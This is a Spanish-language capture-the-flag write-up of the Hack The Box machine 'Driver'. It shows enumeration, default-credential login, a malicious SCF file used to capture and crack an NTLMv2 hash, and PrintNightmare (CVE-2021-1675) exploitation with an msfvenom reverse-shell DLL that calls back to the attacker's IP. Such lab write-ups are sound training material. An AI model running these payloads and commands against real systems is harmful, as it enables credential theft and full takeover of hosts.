Resumen
Saludos, en esta oportunidad vamos a resolver la máquina de Hack The Box llamada Driver, la cual tiene una dificultad easy. Para lograr vulnerarla realizaremos lo siguiente:
- Credenciales demasiado débiles.
- Utilización de archivo SCF malicioso.
- Captura y crackeo de hash NTLMV2.
- Explotación de PrintNigthmare (CVE-2021-1675).
Reconocimiento y Enumeración
En primer lugar, se comprueba la correcta conexión en la VPN con la máquina utilizando ping
:
1
2
3
4
ping -c 1 10.10.11.106
PING 10.10.11.106 (10.10.11.106) 56(84) bytes of data.
64 bytes from 10.10.11.106: icmp_seq=1 ttl=127 time=142 ms
Se observa que existe una correcta conexión con la máquina.
Para realizar un reconocimiento activo se utilizará la herramienta nmap
, en búsqueda de puertos abiertos en todo el rango (65535) y aplicando el parámetro -sS
el cual permite aumentar el rendimiento del escaneo, haciendo que las conexiones no se realicen totalmente (haciendo solo syn syn-ack):
1
sudo nmap -p- -sS --open -min-rate 5000 10.10.11.106 -oG Port
Al finalizar el escaneo, se pueden observar los puertos abiertos de la máquina víctima:
1
2
3
4
5
6
PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
445/tcp open microsoft-ds
5985/tcp open wsman
7680/tcp open pando-pub
Realizamos un escaneo de los servicios expuestos utilizando nmap
:
1
sudo nmap -sCV -p80,135,445,5985,7680 10.10.11.106 -oN ServiceScan
Como resultado del escaneo tenemos:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Microsoft-IIS/10.0
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Basic realm=MFP Firmware Update Center. Please enter password for admin
| http-methods:
|_ Potentially risky methods: TRACE
135/tcp open msrpc Microsoft Windows RPC
445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
7680/tcp filtered pando-pub
Service Info: Host: DRIVER; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 6h59m58s, deviation: 0s, median: 6h59m57s
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-time:
| date: 2023-02-17T02:39:47
|_ start_date: 2023-02-17T02:36:06
| smb2-security-mode:
| 311:
|_ Message signing enabled but not required
Vemos diferentes servicios, en primer lugar vemos el puerto 445 abierto, vamos a ver si podemos enumerar información:
1
2
crackmapexec smb 10.10.11.106
SMB 10.10.11.106 445 DRIVER [*] Windows 10 Enterprise 10240 x64 (name:DRIVER) (domain:DRIVER) (signing:False) (SMBv1:True)
Vamos a ver si podemos listar contenido:
1
2
smbmap -H 10.10.11.106
[!] Authentication error on 10.10.11.106
Pero se necesitan credenciales válidas asi que no podemos hacer mucho por aqui.
Vemos servicios web, vamos a utilizar whatweb
para ver de qué se trata:
1
2
whatweb 10.10.11.106
http://10.10.11.106 [401 Unauthorized] Country[RESERVED][ZZ], HTTPServer[Microsoft-IIS/10.0], IP[10.10.11.106], Microsoft-IIS[10.0], PHP[7.3.25], WWW-Authenticate[MFP Firmware Update Center. Please enter password for admin][Basic], X-Powered-By[PHP/7.3.25]
Si entramos a la web, encontramos lo siguiente:
Es un panel de autenticación, vamos a probar contraseñas comunes por default:
Resultó ser admin admin.
Si inspeccionamos la web la única parte que funciona es esta:
Vemos que podemos subir un archivo.
Explotación
Si realizamos fuzzing no encontramos nada interesante, ni tampoco alguna ruta que nos permita ver los archivos subidos, pero si prestamos atención dice que Our testing team will review the uploads manually and initiates the testing soon., por lo tanto, en caso de que alguien abra este archivo, podemos hacer un archivo SCF malicioso, lo que haremos será tener un recurso compartido por smb, en el momento que el usuario abra el archivo hará una petición a nuestro servidor por smb intentando encontrar algo, ese algo corresponde a un icono, en ese momento nosotros podremos tener su hash NTLMV2 que podemos intentar crackear.
En la web de pentestlab encontramos esto:
1
2
3
4
5
[Shell]
Command=2
IconFile=\\X.X.X.X\share\pentestlab.ico
[Taskbar]
Command=ToggleDesktop
Vamos a agregar nuestra dirección:
1
2
3
4
5
[Shell]
Command=2
IconFile=\\10.10.14.17\share\pentestlab.ico
[Taskbar]
Command=ToggleDesktop
Vamos a crearnos nuestro servidor con impacket:
1
2
3
4
5
6
7
8
9
impacket-smbserver shares $(pwd) -smb2support
Impacket v0.10.1.dev1+20230203.111903.32178de6 - Copyright 2022 Fortra
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
Vamos a subir el archivo SCF a la página:
Si le damos a enviar y vemos nuestro servidor:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
impacket-smbserver shares $(pwd) -smb2support
Impacket v0.10.1.dev1+20230203.111903.32178de6 - Copyright 2022 Fortra
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.10.11.106,49414)
[*] AUTHENTICATE_MESSAGE (DRIVER\tony,DRIVER)
[*] User DRIVER\tony authenticated successfully
[*] tony::DRIVER:aaaaaaaaaaaaaaaa:54c57ca37a0fd7e1acabb0d4db22f1ca:0101000000000000802c281b4342d901a31c7d008e3bb7580000000001001000540052004900460064004c0044007a0003001000540052004900460064004c0044007a00020010005400550047004e00650068004e005100040010005400550047004e00650068004e00510007000800802c281b4342d9010600040002000000080030003000000000000000000000000020000077d4186e48d17352d9804ca5dcc89946e03f576795cf67d411196b5f849b8e690a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310034002e0031003700000000000000000000000000
[*] Connecting Share(1:IPC$)
[-] SMB2_TREE_CONNECT not found share
[-] SMB2_TREE_CONNECT not found share
[*] Disconnecting Share(1:IPC$)
[*] Closing down connection (10.10.11.106,49414)
[*] Remaining connections []
Tenemos nuestro hash, vamos a intentar crackearlo:
1
2
3
4
5
6
7
8
9
john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
liltony (tony)
1g 0:00:00:00 DONE (2023-02-16 15:15) 50.00g/s 1638Kp/s 1638Kc/s 1638KC/s !!!!!!..eatme1
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.
Obtuvimos la contraseña, vamos a validarlas con crackmapexec
:
1
2
3
crackmapexec smb 10.10.11.106 -u 'tony' -p 'liltony'
SMB 10.10.11.106 445 DRIVER [*] Windows 10 Enterprise 10240 x64 (name:DRIVER) (domain:DRIVER) (signing:False) (SMBv1:True)
SMB 10.10.11.106 445 DRIVER [+] DRIVER\tony:liltony
Observamos que las credenciales son correctas, vamos a enumerar ahora la información del winrm:
1
2
3
4
crackmapexec winrm 10.10.11.106 -u 'tony' -p 'liltony'
SMB 10.10.11.106 5985 NONE [*] None (name:10.10.11.106) (domain:None)
HTTP 10.10.11.106 5985 NONE [*] http://10.10.11.106:5985/wsman
WINRM 10.10.11.106 5985 NONE [+] None\tony:liltony (Pwn3d!)
Vemos que corresponde al grupo remote management use, asi que vamos a ganar acceso por evil-winrm
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
evil-winrm -i 10.10.11.106 -u 'tony' -p 'liltony'
Evil-WinRM shell v3.4
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\tony\Documents> ipconfig
Windows IP Configuration
Ethernet adapter Ethernet0:
Connection-specific DNS Suffix . : htb
IPv6 Address. . . . . . . . . . . : dead:beef::176
IPv6 Address. . . . . . . . . . . : dead:beef::f80b:afef:a6e1:f1e7
Temporary IPv6 Address. . . . . . : dead:beef::a1aa:542b:b5e:3e
Link-local IPv6 Address . . . . . : fe80::f80b:afef:a6e1:f1e7%5
IPv4 Address. . . . . . . . . . . : 10.10.11.106
Subnet Mask . . . . . . . . . . . : 255.255.254.0
Default Gateway . . . . . . . . . : fe80::250:56ff:feb9:4ee%5
Vemos que estamos ya dentro de la máquina, vamos a buscar la flag de usuario:
1
2
*Evil-WinRM* PS C:\Users\tony\Desktop> type user.txt
c921262ea60eb13f42dbdcc
Ahora tenemos que escalar privilegios.
Escalada de privilegios
Vamos a utilizar winPEAS.exe para recolectar información.
Luego de realizar el escaneo con winPEAS.exe, no encontramos mucho, pero encontramos algo interesante:
1
2
3
4
5
6
7
8
9
PowerShell Settings
PowerShell v2 Version: 2.0
PowerShell v5 Version: 5.0.10240.17146
PowerShell Core Version:
Transcription Settings:
Module Logging Settings:
Scriptblock Logging Settings:
PS history file: C:\Users\tony\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
PS history size: 134B
Encontramos que tiene un historial, vamos a verlo:
1
2
3
4
Add-Printer -PrinterName "RICOH_PCL6" -DriverName 'RICOH PCL6 UniversalDriver V4.23' -PortName 'lpt1:'
ping 1.1.1.1
ping 1.1.1.1
Vemos un nombre de impresora y un drivername, RICOH PCL6 UniversalDriver V4.23, vamos a buscarlo por google por si existen vulnerabilidades:
Podemos ver que efectivamente existen vulnerabilidades, es la llamada PrintNightmare (CVE-2021-1675).
Utilizaremos la versión con python, debido a que en la máquina no podemos ejecutar ningún archivo por motivos de seguridad, en el github encontraremos el .py que necesitamos para explotar la vulnerabilidad.
El primer paso consiste en clonarse el repositorio.
Luego, crearemos un payload .dll con msfvenom
que realice una conexión reversa a nuestra máquina:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.17 LPORT=4444 -f dll > shell-x64.dll
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:11: warning: already initialized constant HrrRbSsh::Transport::ServerHostKeyAlgorithm::EcdsaSha2Nistp256::NAME
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:11: warning: previous definition of NAME was here
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:12: warning: already initialized constant HrrRbSsh::Transport::ServerHostKeyAlgorithm::EcdsaSha2Nistp256::PREFERENCE
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:12: warning: previous definition of PREFERENCE was here
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:13: warning: already initialized constant HrrRbSsh::Transport::ServerHostKeyAlgorithm::EcdsaSha2Nistp256::IDENTIFIER
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:13: warning: previous definition of IDENTIFIER was here
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:11: warning: already initialized constant HrrRbSsh::Transport::ServerHostKeyAlgorithm::EcdsaSha2Nistp256::NAME
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:11: warning: previous definition of NAME was here
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:12: warning: already initialized constant HrrRbSsh::Transport::ServerHostKeyAlgorithm::EcdsaSha2Nistp256::PREFERENCE
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:12: warning: previous definition of PREFERENCE was here
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:13: warning: already initialized constant HrrRbSsh::Transport::ServerHostKeyAlgorithm::EcdsaSha2Nistp256::IDENTIFIER
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:13: warning: previous definition of IDENTIFIER was here
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of dll file: 8704 bytes
Luego, debemos abrir un servidor smb, utilizaremos impacket
:
1
2
impacket-smbserver shares $(pwd) -smb2support
Impacket v0.10.1.dev1+20230203.111903.32178de6 - Copyright 2022 Fortra
Luego, tenemos que dejar a nuestro netcat
escuchando por el puerto elegido, en este caso el 4444.
En este punto debemos ejectuar el script con lo siguiente:
1
python3 CVE-2021-1675.py driver/tony:liltony@10.10.11.106 '\\10.10.14.17\shares\shell-x64.dll'
Con esta información ejecutamos el código:
1
2
3
4
5
6
7
8
python3 CVE-2021-1675.py driver/tony:liltony@10.10.11.106 '\\10.10.14.17\shares\shell-x64.dll'
[*] Connecting to ncacn_np:10.10.11.106[\PIPE\spoolss]
[+] Bind OK
[+] pDriverPath Found C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_f66d9eed7e835e97\Amd64\UNIDRV.DLL
[*] Executing \??\UNC\10.10.14.17\shares\shell-x64.dll
[*] Try 1...
[*] Stage0: 0
[*] Try 2...
Si observamos nuestro servidor smb:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
mpacket-smbserver shares $(pwd) -smb2support
Impacket v0.10.1.dev1+20230203.111903.32178de6 - Copyright 2022 Fortra
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.10.11.106,49436)
[*] AUTHENTICATE_MESSAGE (\,DRIVER)
[*] User DRIVER\ authenticated successfully
[*] :::00::aaaaaaaaaaaaaaaa
[*] Connecting Share(1:IPC$)
[*] Connecting Share(2:shares)
[*] Disconnecting Share(1:IPC$)
Y si vemos nuestro netcat
:
1
2
3
4
5
6
7
8
9
nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.14.17] from (UNKNOWN) [10.10.11.106] 49440
Microsoft Windows [Version 10.0.10240]
(c) 2015 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system
¡Bien! Ahora somos administradores, vamos a buscar la flag:
1
2
3
C:\Users\Administrator\Desktop>type root.txt
type root.txt
decc81a8b46f8c9b252fffc
¡Listo! Hemos terminado la máquina.
Nos vemos, hasta la próxima.